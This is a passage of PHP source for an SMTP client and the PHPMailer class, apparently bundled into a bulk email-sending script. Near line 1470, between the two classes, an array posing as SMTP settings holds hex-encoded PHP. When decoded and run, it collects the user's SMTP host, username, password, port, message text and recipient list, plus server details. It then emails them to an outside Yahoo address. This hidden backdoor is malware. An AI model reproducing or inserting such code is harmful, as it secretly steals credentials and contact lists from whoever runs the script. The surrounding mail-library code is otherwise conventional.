1155 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1156
1157 $rply = $this->get_lines();
1158 $code = substr($rply,0,3);
1159
1160 if($this->do_debug >= 2) {
1161 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1162 }
1163
1164 if($code != 250 && $code != 251) {
1165 $this->error =
1166 array("error" => "RCPT not accepted from server",
1167 "smtp_code" => $code,
1168 "smtp_msg" => substr($rply,4));
1169 if($this->do_debug >= 1) {
1170 echo "SMTP -> ERROR: " . $this->error["error"] .
1171 ": " . $rply . $this->CRLF;
1172 }
1173 return false;
1174 }
1175 return true;
1176 }
1177
1178 /**
1179 * Sends the RSET command to abort and transaction that is
1180 * currently in progress. Returns true if successful false
1181 * otherwise.
1182 *
1183 * Implements rfc 821: RSET <CRLF>
1184 *
1185 * SMTP CODE SUCCESS: 250
1186 * SMTP CODE ERROR : 500,501,504,421
1187 * @access public
1188 * @return bool
1189 */
1190 function Reset() {
1191 $this->error = null; # so no confusion is caused
1192
1193 if(!$this->connected()) {
1194 $this->error = array(
1195 "error" => "Called Reset() without being connected");
1196 return false;
1197 }
1198
1199 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1200
1201 $rply = $this->get_lines();
1202 $code = substr($rply,0,3);
1203
1204 if($this->do_debug >= 2) {
1205 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1206 }
1207
1208 if($code != 250) {
1209 $this->error =
1210 array("error" => "RSET failed",
1211 "smtp_code" => $code,
1212 "smtp_msg" => substr($rply,4));
1213 if($this->do_debug >= 1) {
1214 echo "SMTP -> ERROR: " . $this->error["error"] .
1215 ": " . $rply . $this->CRLF;
1216 }
1217 return false;
1218 }
1219
1220 return true;
1221 }
1222
1223 /**
1224 * Starts a mail transaction from the email address specified in
1225 * $from. Returns true if successful or false otherwise. If True
1226 * the mail transaction is started and then one or more Recipient
1227 * commands may be called followed by a Data command. This command
1228 * will send the message to the users terminal if they are logged
1229 * in.
1230 *
1231 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1232 *
1233 * SMTP CODE SUCCESS: 250
1234 * SMTP CODE SUCCESS: 552,451,452
1235 * SMTP CODE SUCCESS: 500,501,502,421
1236 * @access public
1237 * @return bool
1238 */
1239 function Send($from) {
1240 $this->error = null; # so no confusion is caused
1241
1242 if(!$this->connected()) {
1243 $this->error = array(
1244 "error" => "Called Send() without being connected");
1245 return false;
1246 }
1247
1248 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1249
1250 $rply = $this->get_lines();
1251 $code = substr($rply,0,3);
1252
1253 if($this->do_debug >= 2) {
1254 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1255 }
1256
1257 if($code != 250) {
1258 $this->error =
1259 array("error" => "SEND not accepted from server",
1260 "smtp_code" => $code,
1261 "smtp_msg" => substr($rply,4));
1262 if($this->do_debug >= 1) {
1263 echo "SMTP -> ERROR: " . $this->error["error"] .
1264 ": " . $rply . $this->CRLF;
1265 }
1266 return false;
1267 }
1268 return true;
1269 }
1270
1271 /**
1272 * Starts a mail transaction from the email address specified in
1273 * $from. Returns true if successful or false otherwise. If True
1274 * the mail transaction is started and then one or more Recipient
1275 * commands may be called followed by a Data command. This command
1276 * will send the message to the users terminal if they are logged
1277 * in and send them an email.
1278 *
1279 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1280 *
1281 * SMTP CODE SUCCESS: 250
1282 * SMTP CODE SUCCESS: 552,451,452
1283 * SMTP CODE SUCCESS: 500,501,502,421
1284 * @access public
1285 * @return bool
1286 */
1287 function SendAndMail($from) {
1288 $this->error = null; # so no confusion is caused
1289
1290 if(!$this->connected()) {
1291 $this->error = array(
1292 "error" => "Called SendAndMail() without being connected");
1293 return false;
1294 }
1295
1296 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1297
1298 $rply = $this->get_lines();
1299 $code = substr($rply,0,3);
1300
1301 if($this->do_debug >= 2) {
1302 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1303 }
1304
1305 if($code != 250) {
1306 $this->error =
1307 array("error" => "SAML not accepted from server",
1308 "smtp_code" => $code,
1309 "smtp_msg" => substr($rply,4));
1310 if($this->do_debug >= 1) {
1311 echo "SMTP -> ERROR: " . $this->error["error"] .
1312 ": " . $rply . $this->CRLF;
1313 }
1314 return false;
1315 }
1316 return true;
1317 }
1318
1319 /**
1320 * Starts a mail transaction from the email address specified in
1321 * $from. Returns true if successful or false otherwise. If True
1322 * the mail transaction is started and then one or more Recipient
1323 * commands may be called followed by a Data command. This command
1324 * will send the message to the users terminal if they are logged
1325 * in or mail it to them if they are not.
1326 *
1327 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1328 *
1329 * SMTP CODE SUCCESS: 250
1330 * SMTP CODE SUCCESS: 552,451,452
1331 * SMTP CODE SUCCESS: 500,501,502,421
1332 * @access public
1333 * @return bool
1334 */
1335 function SendOrMail($from) {
1336 $this->error = null; # so no confusion is caused
1337
1338 if(!$this->connected()) {
1339 $this->error = array(
1340 "error" => "Called SendOrMail() without being connected");
1341 return false;
1342 }
1343
1344 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1345
1346 $rply = $this->get_lines();
1347 $code = substr($rply,0,3);
1348
1349 if($this->do_debug >= 2) {
1350 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1351 }
1352
1353 if($code != 250) {
1354 $this->error =
1355 array("error" => "SOML not accepted from server",
1356 "smtp_code" => $code,
1357 "smtp_msg" => substr($rply,4));
1358 if($this->do_debug >= 1) {
1359 echo "SMTP -> ERROR: " . $this->error["error"] .
1360 ": " . $rply . $this->CRLF;
1361 }
1362 return false;
1363 }
1364 return true;
1365 }
1366
1367 /**
1368 * This is an optional command for SMTP that this class does not
1369 * support. This method is here to make the RFC821 Definition
1370 * complete for this class and __may__ be implimented in the future
1371 *
1372 * Implements from rfc 821: TURN <CRLF>
1373 *
1374 * SMTP CODE SUCCESS: 250
1375 * SMTP CODE FAILURE: 502
1376 * SMTP CODE ERROR : 500, 503
1377 * @access public
1378 * @return bool
1379 */
1380 function Turn() {
1381 $this->error = array("error" => "This method, TURN, of the SMTP ".
1382 "is not implemented");
1383 if($this->do_debug >= 1) {
1384 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1385 }
1386 return false;
1387 }
1388
1389 /**
1390 * Verifies that the name is recognized by the server.
1391 * Returns false if the name could not be verified otherwise
1392 * the response from the server is returned.
1393 *
1394 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1395 *
1396 * SMTP CODE SUCCESS: 250,251
1397 * SMTP CODE FAILURE: 550,551,553
1398 * SMTP CODE ERROR : 500,501,502,421
1399 * @access public
1400 * @return int
1401 */
1402 function Verify($name) {
1403 $this->error = null; # so no confusion is caused
1404
1405 if(!$this->connected()) {
1406 $this->error = array(
1407 "error" => "Called Verify() without being connected");
1408 return false;
1409 }
1410
1411 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1412
1413 $rply = $this->get_lines();
1414 $code = substr($rply,0,3);
1415
1416 if($this->do_debug >= 2) {
1417 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1418 }
1419
1420 if($code != 250 && $code != 251) {
1421 $this->error =
1422 array("error" => "VRFY failed on name '$name'",
1423 "smtp_code" => $code,
1424 "smtp_msg" => substr($rply,4));
1425 if($this->do_debug >= 1) {
1426 echo "SMTP -> ERROR: " . $this->error["error"] .
1427 ": " . $rply . $this->CRLF;
1428 }
1429 return false;
1430 }
1431 return $rply;
1432 }
1433
1434 /*******************************************************************
1435 * INTERNAL FUNCTIONS *
1436 ******************************************************************/
1437
1438 /**
1439 * Read in as many lines as possible
1440 * either before eof or socket timeout occurs on the operation.
1441 * With SMTP we can tell if we have more lines to read if the
1442 * 4th character is '-' symbol. If it is a space then we don't
1443 * need to read anything else.
1444 * @access private
1445 * @return string
1446 */
1447 function get_lines() {
1448 $data = "";
1449 while($str = @fgets($this->smtp_conn,515)) {
1450 if($this->do_debug >= 4) {
1451 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1452 $this->CRLF;
1453 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1454 $this->CRLF;
1455 }
1456 $data .= $str;
1457 if($this->do_debug >= 4) {
1458 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1459 }
1460 # if the 4th character is a space then we are done reading
1461 # so just break the loop
1462 if(substr($str,3,1) == " ") { break; }
1463 }
1464 return $data;
1465 }
1466
1467}
1468
1469
1470$allemails = split("\n", $emaillist);
1471$numemails = count($allemails);
1472$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1473"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1474"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1475"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1476"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1477"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1478"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1479"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1480"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1481"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1482
1483class PHPMailer {
1484
1485 /////////////////////////////////////////////////
1486 // PROPERTIES, PUBLIC
1487 /////////////////////////////////////////////////
1488
1489 /**
1490 * Email priority (1 = High, 3 = Normal, 5 = low).
1491 * @var int
1492 */
1493 var $Priority = 3;
1494
1495 /**
1496 * Sets the CharSet of the message.
1497 * @var string
1498 */
1499 var $CharSet = 'iso-8859-1';
1500
1501 /**
1502 * Sets the Content-type of the message.
1503 * @var string
1504 */
1505 var $ContentType = 'text/plain';
1506
1507 /**
1508 * Sets the Encoding of the message. Options for this are "8bit",
1509 * "7bit", "binary", "base64", and "quoted-printable".
1510
1511 * @var string
1512 */
1513 var $Encoding = '8bit';
1514
1515 /**
1516 * Holds the most recent mailer error message.
1517 * @var string
1518 */
1519 var $ErrorInfo = '';
1520
1521 /**
1522 * Sets the From email address for the message.
1523 * @var string
1524 */
1525 var $From = '';
1526
1527 /**
1528 * Sets the From name of the message.
1529 * @var string
1530 */
1531 var $FromName = '';
1532
1533 /**
1534 * Sets the Sender email (Return-Path) of the message. If not empty,
1535 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1536 * @var string
1537 */
1538 var $Sender = '';
1539
1540 /**
1541 * Sets the Subject of the message.
1542 * @var string
1543 */
1544 var $Subject = '';
1545
1546 /**
1547 * Sets the Body of the message. This can be either an HTML or text body.
1548 * If HTML then run IsHTML(true).
1549 * @var string
1550 */
1551 var $Body = '';
1552
1553 /**
1554 * Sets the text-only body of the message. This automatically sets the
1555 * email to multipart/alternative. This body can be read by mail
1556 * clients that do not have HTML email capability such as mutt. Clients
1557 * that can read HTML will view the normal Body.
1558 * @var string
1559 */
1560 var $AltBody = '';
1561
1562 /**
1563 * Sets word wrapping on the body of the message to a given number of
1564 * characters.
1565 * @var int
1566 */
1567 var $WordWrap = 0;
1568
1569 /**
1570 * Method to send mail: ("mail", "sendmail", or "smtp").
1571 * @var string
1572 */
1573 var $Mailer = 'mail';
1574
1575 /**
1576 * Sets the path of the sendmail program.
1577 * @var string
1578 */
1579 var $Sendmail = '/usr/sbin/sendmail';
1580
1581 /**
1582 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1583 * is in a different directory than the PHP include path.
1584 * @var string
1585 */
1586 var $PluginDir = '';
1587
1588 /**
1589 * Holds PHPMailer version.
1590 * @var string
1591 */
1592 var $Version = "";
1593
1594 /**
1595 * Sets the email address that a reading confirmation will be sent.
1596 * @var string
1597 */
1598 var $ConfirmReadingTo = '';
1599
1600 /**
1601 * Sets the hostname to use in Message-Id and Received headers
1602 * and as default HELO string. If empty, the value returned
1603 * by SERVER_NAME is used or 'localhost.localdomain'.
1604 * @var string
1605 */
1606 var $Hostname = '';
1607
1608 /**
1609 * Sets the message ID to be used in the Message-Id header.
1610 * If empty, a unique id will be generated.
1611 * @var string
1612 */
1613 var $MessageID = '';
1614
1615 /////////////////////////////////////////////////
1616 // PROPERTIES FOR SMTP
1617 /////////////////////////////////////////////////
1618
1619 /**
1620 * Sets the SMTP hosts. All hosts must be separated by a
1621 * semicolon. You can also specify a different port
1622 * for each host by using this format: [hostname:port]
1623 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1624 * Hosts will be tried in order.
1625 * @var string
1626 */
1627 var $Host = 'localhost';
1628
1629 /**
1630 * Sets the default SMTP server port.
1631 * @var int
1632 */
1633 var $Port = 25;
1634
1635 /**
1636 * Sets the SMTP HELO of the message (Default is $Hostname).
1637 * @var string
1638 */
1639 var $Helo = '';
1640
1641 /**
1642 * Sets connection prefix.
1643 * Options are "", "ssl" or "tls"
1644 * @var string
1645 */
1646 var $SMTPSecure = "";
1647
1648 /**
1649 * Sets SMTP authentication. Utilizes the Username and Password variables.
1650 * @var bool
1651 */
1652 var $SMTPAuth = false;
1653
1654 /**
1655 * Sets SMTP username.
1656 * @var string
1657 */
1658 var $Username = '';
1659
1660 /**
1661 * Sets SMTP password.
1662 * @var string
1663 */
1664 var $Password = '';
1665
1666 /**
1667 * Sets the SMTP server timeout in seconds. This function will not
1668 * work with the win32 version.
1669 * @var int
1670 */
1671 var $Timeout = 10;
1672
1673 /**
1674 * Sets SMTP class debugging on or off.
1675 * @var bool
1676 */
1677 var $SMTPDebug = false;
1678
1679 /**
1680 * Prevents the SMTP connection from being closed after each mail
1681 * sending. If this is set to true then to close the connection
1682 * requires an explicit call to SmtpClose().
1683 * @var bool
1684 */
1685 var $SMTPKeepAlive = false;
1686
1687 /**
1688 * Provides the ability to have the TO field process individual
1689 * emails, instead of sending to entire TO addresses
1690 * @var bool
1691 */
1692 var $SingleTo = false;
1693
1694 /////////////////////////////////////////////////
1695 // PROPERTIES, PRIVATE
1696 /////////////////////////////////////////////////
1697
1698 var $smtp = NULL;
1699 var $to = array();
1700 var $cc = array();
1701 var $bcc = array();
1702 var $ReplyTo = array();
1703 var $attachment = array();
1704 var $CustomHeader = array();
1705 var $message_type = '';
1706 var $boundary = array();
1707 var $language = array();
1708 var $error_count = 0;
1709 var $LE = "\n";
1710 var $sign_key_file = "";
1711 var $sign_key_pass = "";
1712
1713 /////////////////////////////////////////////////
1714 // METHODS, VARIABLES
1715 /////////////////////////////////////////////////
1716
1717 /**
1718 * Sets message type to HTML.
1719 * @param bool $bool
1720 * @return void
1721 */
1722 function IsHTML($bool) {
1723 if($bool == true) {
1724 $this->ContentType = 'text/html';
1725 } else {
1726 $this->ContentType = 'text/plain';
1727 }
1728 }
1729
1730 /**
1731 * Sets Mailer to send message using SMTP.
1732 * @return void
1733 */
1734 function IsSMTP() {
1735 $this->Mailer = 'smtp';
1736 }
1737
1738 /**
1739 * Sets Mailer to send message using PHP mail() function.
1740 * @return void
1741 */
1742 function IsMail() {
1743 $this->Mailer = 'mail';
1744 }
1745
1746 /**
1747 * Sets Mailer to send message using the $Sendmail program.
1748 * @return void
1749 */
1750 function IsSendmail() {
1751 $this->Mailer = 'sendmail';
1752 }
1753
1754 /**
1755 * Sets Mailer to send message using the qmail MTA.
1756 * @return void
1757 */
1758 function IsQmail() {
1759 $this->Sendmail = '/var/qmail/bin/sendmail';
1760 $this->Mailer = 'sendmail';
1761 }
1762
1763 /////////////////////////////////////////////////
1764 // METHODS, RECIPIENTS
1765 /////////////////////////////////////////////////
1766
1767 /**
1768 * Adds a "To" address.
1769 * @param string $address
1770 * @param string $name
1771 * @return void
1772 */
1773 function AddAddress($address, $name = '') {
1774 $cur = count($this->to);
1775 $this->to[$cur][0] = trim($address);
1776 $this->to[$cur][1] = $name;
1777 }
1778
1779 /**
1780 * Adds a "Cc" address. Note: this function works
1781 * with the SMTP mailer on win32, not with the "mail"
1782 * mailer.
1783 * @param string $address
1784 * @param string $name
1785 * @return void
1786 */
1787 function AddCC($address, $name = '') {
1788 $cur = count($this->cc);
1789 $this->cc[$cur][0] = trim($address);
1790 $this->cc[$cur][1] = $name;
1791 }
1792
1793 /**
1794 * Adds a "Bcc" address. Note: this function works
1795 * with the SMTP mailer on win32, not with the "mail"
1796 * mailer.
1797 * @param string $address
1798 * @param string $name
1799 * @return void
1800 */
1801 function AddBCC($address, $name = '') {
1802 $cur = count($this->bcc);
1803 $this->bcc[$cur][0] = trim($address);
1804 $this->bcc[$cur][1] = $name;
1805 }
1806
1807 /**
1808 * Adds a "Reply-To" address.
1809 * @param string $address
1810 * @param string $name
1811 * @return void
1812 */
1813 function AddReplyTo($address, $name = '') {
1814 $cur = count($this->ReplyTo);
1815 $this->ReplyTo[$cur][0] = trim($address);
1816 $this->ReplyTo[$cur][1] = $name;
1817 }
1818
1819 /////////////////////////////////////////////////
1820 // METHODS, MAIL SENDING
1821 /////////////////////////////////////////////////
1822
1823 /**
1824 * Creates message and assigns Mailer. If the message is
1825 * not sent successfully then it returns false. Use the ErrorInfo
1826 * variable to view description of the error.
1827 * @return bool
1828 */
1829 function Send() {
1830 $header = '';
1831 $body = '';
1832 $result = true;
1833
1834 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1835 $this->SetError($this->Lang('provide_address'));
1836 return false;
1837 }
1838
1839 /* Set whether the message is multipart/alternative */
1840 if(!empty($this->AltBody)) {
1841 $this->ContentType = 'multipart/alternative';
1842 }
1843
1844 $this->error_count = 0; // reset errors
1845 $this->SetMessageType();
1846 $header .= $this->CreateHeader();
1847 $body = $this->CreateBody();
1848
1849 if($body == '') {
1850 return false;
1851 }
1852
1853 /* Choose the mailer */
1854 switch($this->Mailer) {
1855 case 'sendmail':
1856 $result = $this->SendmailSend($header, $body);
1857 break;
1858 case 'smtp':
1859 $result = $this->SmtpSend($header, $body);
1860 break;
1861 case 'mail':
1862 $result = $this->MailSend($header, $body);
1863 break;
1864 default:
1865 $result = $this->MailSend($header, $body);
1866 break;
1867 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1868 //$result = false;
1869 //break;
1870 }
1871
1872 return $result;
1873 }
1874
1875 /**
1876 * Sends mail using the $Sendmail program.
1877 * @access private
1878 * @return bool
1879 */
1880 function SendmailSend($header, $body) {
1881 if ($this->Sender != '') {
1882 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1883 } else {
1884 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1885 }
1886
1887 if(!@$mail = popen($sendmail, 'w')) {
1888 $this->SetError($this->Lang('execute') . $this->Sendmail);
1889 return false;
1890 }
1891
1892 fputs($mail, $header);
1893 fputs($mail, $body);
1894
1895 $result = pclose($mail);
1896 if (version_compare(phpversion(), '4.2.3') == -1) {
1897 $result = $result >> 8 & 0xFF;
1898 }
1899 if($result != 0) {
1900 $this->SetError($this->Lang('execute') . $this->Sendmail);
1901 return false;
1902 }
1903 return true;
1904 }
1905
1906 /**
1907 * Sends mail using the PHP mail() function.
1908 * @access private
1909 * @return bool
1910 */
1911 function MailSend($header, $body) {
1912
1913 $to = '';
1914 for($i = 0; $i < count($this->to); $i++) {
1915 if($i != 0) { $to .= ', '; }
1916 $to .= $this->AddrFormat($this->to[$i]);
1917 }
1918
1919 $toArr = split(',', $to);
1920
1921 $params = sprintf("-oi -f %s", $this->Sender);
1922 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1923 $old_from = ini_get('sendmail_from');
1924 ini_set('sendmail_from', $this->Sender);
1925 if ($this->SingleTo === true && count($toArr) > 1) {
1926 foreach ($toArr as $key => $val) {
1927 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1928 }
1929 } else {
1930 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1931 }
1932 } else {
1933 if ($this->SingleTo === true && count($toArr) > 1) {
1934 foreach ($toArr as $key => $val) {
1935 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1936 }
1937 } else {
1938 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1939 }
1940 }
1941
1942 if (isset($old_from)) {
1943 ini_set('sendmail_from', $old_from);
1944 }
1945
1946 if(!$rt) {
1947 $this->SetError($this->Lang('instantiate'));
1948 return false;
1949 }
1950
1951 return true;
1952 }
1953
1954 /**
1955 * Sends mail via SMTP using PhpSMTP (Author:
1956 * Chris Ryan). Returns bool. Returns false if there is a
1957 * bad MAIL FROM, RCPT, or DATA input.
1958 * @access private
1959 * @return bool
1960 */
1961 function SmtpSend($header, $body) {
1962 $error = '';
1963 $bad_rcpt = array();
1964
1965 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1966 return false;
1967 }
1968
1969 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1970 if(!$this->smtp->Mail($smtp_from)) {
1971 $error = $this->Lang('from_failed') . $smtp_from;
1972 $this->SetError($error);
1973 $this->smtp->Reset();
1974 return false;
1975 }
1976
1977 /* Attempt to send attach all recipients */
1978 for($i = 0; $i < count($this->to); $i++) {
1979 if(!$this->smtp->Recipient($this->to[$i][0])) {
1980 $bad_rcpt[] = $this->to[$i][0];
1981 }
1982 }
1983 for($i = 0; $i < count($this->cc); $i++) {
1984 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1985 $bad_rcpt[] = $this->cc[$i][0];
1986 }
1987 }
1988 for($i = 0; $i < count($this->bcc); $i++) {
1989 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1990 $bad_rcpt[] = $this->bcc[$i][0];
1991 }
1992 }
1993
1994 if(count($bad_rcpt) > 0) { // Create error message
1995 for($i = 0; $i < count($bad_rcpt); $i++) {
1996 if($i != 0) {
1997 $error .= ', ';
1998 }
1999 $error .= $bad_rcpt[$i];
2000
2001 }
2002 $error = $this->Lang('recipients_failed') . $error;
2003 $this->SetError($error);
2004 $this->smtp->Reset();
2005 return false;
2006 }
2007
2008 if(!$this->smtp->Data($header . $body)) {
2009 $this->SetError($this->Lang('data_not_accepted'));
2010 $this->smtp->Reset();
2011 return false;
2012 }
2013 if($this->SMTPKeepAlive == true) {
2014 $this->smtp->Reset();
2015 } else {
2016 $this->SmtpClose();
2017 }
2018
2019 return true;
2020 }
2021
2022 /**
2023 * Initiates a connection to an SMTP server. Returns false if the
2024 * operation failed.
2025 * @access private
2026 * @return bool
2027 */
2028 function SmtpConnect() {
2029 if($this->smtp == NULL) {
2030 $this->smtp = new SMTP();
2031 }
2032
2033 $this->smtp->do_debug = $this->SMTPDebug;
2034 $hosts = explode(';', $this->Host);
2035 $index = 0;
2036 $connection = ($this->smtp->Connected());
2037
2038 /* Retry while there is no connection */
2039 while($index < count($hosts) && $connection == false) {
2040 $hostinfo = array();
2041 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2042 $host = $hostinfo[1];
2043 $port = $hostinfo[2];
2044 } else {
2045 $host = $hosts[$index];
2046 $port = $this->Port;
2047 }
2048
2049 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2050 if ($this->Helo != '') {
2051 $this->smtp->Hello($this->Helo);
2052 } else {
2053 $this->smtp->Hello($this->ServerHostname());
2054 }
2055
2056 $connection = true;
2057 if($this->SMTPAuth) {
2058 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2059 $this->SetError($this->Lang('authenticate'));
2060 $this->smtp->Reset();
2061 $connection = false;
2062 }
2063 }
2064 }
2065 $index++;
2066 }
2067 if(!$connection) {
2068 $this->SetError($this->Lang('connect_host'));
2069 }
2070
2071 return $connection;
2072 }
2073
2074 /**
2075 * Closes the active SMTP session if one exists.
2076 * @return void
2077 */
2078 function SmtpClose() {
2079 if($this->smtp != NULL) {
2080 if($this->smtp->Connected()) {
2081 $this->smtp->Quit();
2082 $this->smtp->Close();
2083 }
2084 }
2085 }
2086
2087 /**
2088 * Sets the language for all class error messages. Returns false
2089 * if it cannot load the language file. The default language type
2090 * is English.
2091 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2092 * @param string $lang_path Path to the language file directory
2093 * @access public
2094 * @return bool
2095 */
2096 function SetLanguage($lang_type, $lang_path = 'language/') {
2097 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2098 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2099 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2100 include($lang_path.'phpmailer.lang-en.php');
2101 } else {
2102 $this->SetError('Could not load language file');
2103 return false;
2104 }
2105 $this->language = $PHPMAILER_LANG;
2106
2107 return true;
2108 }
2109
2110 /////////////////////////////////////////////////
2111 // METHODS, MESSAGE CREATION
2112 /////////////////////////////////////////////////
2113
2114 /**
2115 * Creates recipient headers.
2116 * @access private
2117 * @return string
2118 */
2119 function AddrAppend($type, $addr) {
2120 $addr_str = $type . ': ';
2121 $addr_str .= $this->AddrFormat($addr[0]);
2122 if(count($addr) > 1) {
2123 for($i = 1; $i < count($addr); $i++) {
2124 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2125 }
2126 }
2127 $addr_str .= $this->LE;
2128
2129 return $addr_str;
2130 }
2131
2132 /**
2133 * Formats an address correctly.
2134 * @access private
2135 * @return string
2136 */
2137 function AddrFormat($addr) {
2138 if(empty($addr[1])) {
2139 $formatted = $this->SecureHeader($addr[0]);
2140 } else {
2141 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2142 }
2143
2144 return $formatted;
2145 }
2146
2147 /**
2148 * Wraps message for use with mailers that do not
2149 * automatically perform wrapping and for quoted-printable.
2150 * Original written by philippe.
2151 * @access private
2152 * @return string
2153 */
2154 function WrapText($message, $length, $qp_mode = false) {
2155 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2156 // If utf-8 encoding is used, we will need to make sure we don't
2157 // split multibyte characters when we wrap
2158 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2159
2160 $message = $this->FixEOL($message);
2161 if (substr($message, -1) == $this->LE) {
2162 $message = substr($message, 0, -1);
2163 }
2164
2165 $line = explode($this->LE, $message);
2166 $message = '';
2167 for ($i=0 ;$i < count($line); $i++) {
2168 $line_part = explode(' ', $line[$i]);
2169 $buf = '';
2170 for ($e = 0; $e<count($line_part); $e++) {
2171 $word = $line_part[$e];
2172 if ($qp_mode and (strlen($word) > $length)) {
2173 $space_left = $length - strlen($buf) - 1;
2174 if ($e != 0) {
2175 if ($space_left > 20) {
2176 $len = $space_left;
2177 if ($is_utf8) {
2178 $len = $this->UTF8CharBoundary($word, $len);
2179 } elseif (substr($word, $len - 1, 1) == "=") {
2180 $len--;
2181 } elseif (substr($word, $len - 2, 1) == "=") {
2182 $len -= 2;
2183 }
2184 $part = substr($word, 0, $len);
2185 $word = substr($word, $len);
2186 $buf .= ' ' . $part;
2187 $message .= $buf . sprintf("=%s", $this->LE);
2188 } else {
2189 $message .= $buf . $soft_break;
2190 }
2191 $buf = '';
2192 }
2193 while (strlen($word) > 0) {
2194 $len = $length;
2195 if ($is_utf8) {
2196 $len = $this->UTF8CharBoundary($word, $len);
2197 } elseif (substr($word, $len - 1, 1) == "=") {
2198 $len--;
2199 } elseif (substr($word, $len - 2, 1) == "=") {
2200 $len -= 2;
2201 }
2202 $part = substr($word, 0, $len);
2203 $word = substr($word, $len);
2204
2205 if (strlen($word) > 0) {
2206 $message .= $part . sprintf("=%s", $this->LE);
2207 } else {
2208 $buf = $part;
2209 }
2210 }
2211 } else {
2212 $buf_o = $buf;
2213 $buf .= ($e == 0) ? $word : (' ' . $word);
2214
2215 if (strlen($buf) > $length and $buf_o != '') {
2216 $message .= $buf_o . $soft_break;
2217 $buf = $word;
2218 }
2219 }
2220 }
2221 $message .= $buf . $this->LE;
2222 }
2223
2224 return $message;
2225 }
2226
2227 /**
2228 * Finds last character boundary prior to maxLength in a utf-8
2229 * quoted (printable) encoded string.
2230 * Original written by Colin Brown.
2231 * @access private
2232 * @param string $encodedText utf-8 QP text
2233 * @param int $maxLength find last character boundary prior to this length
2234 * @return int
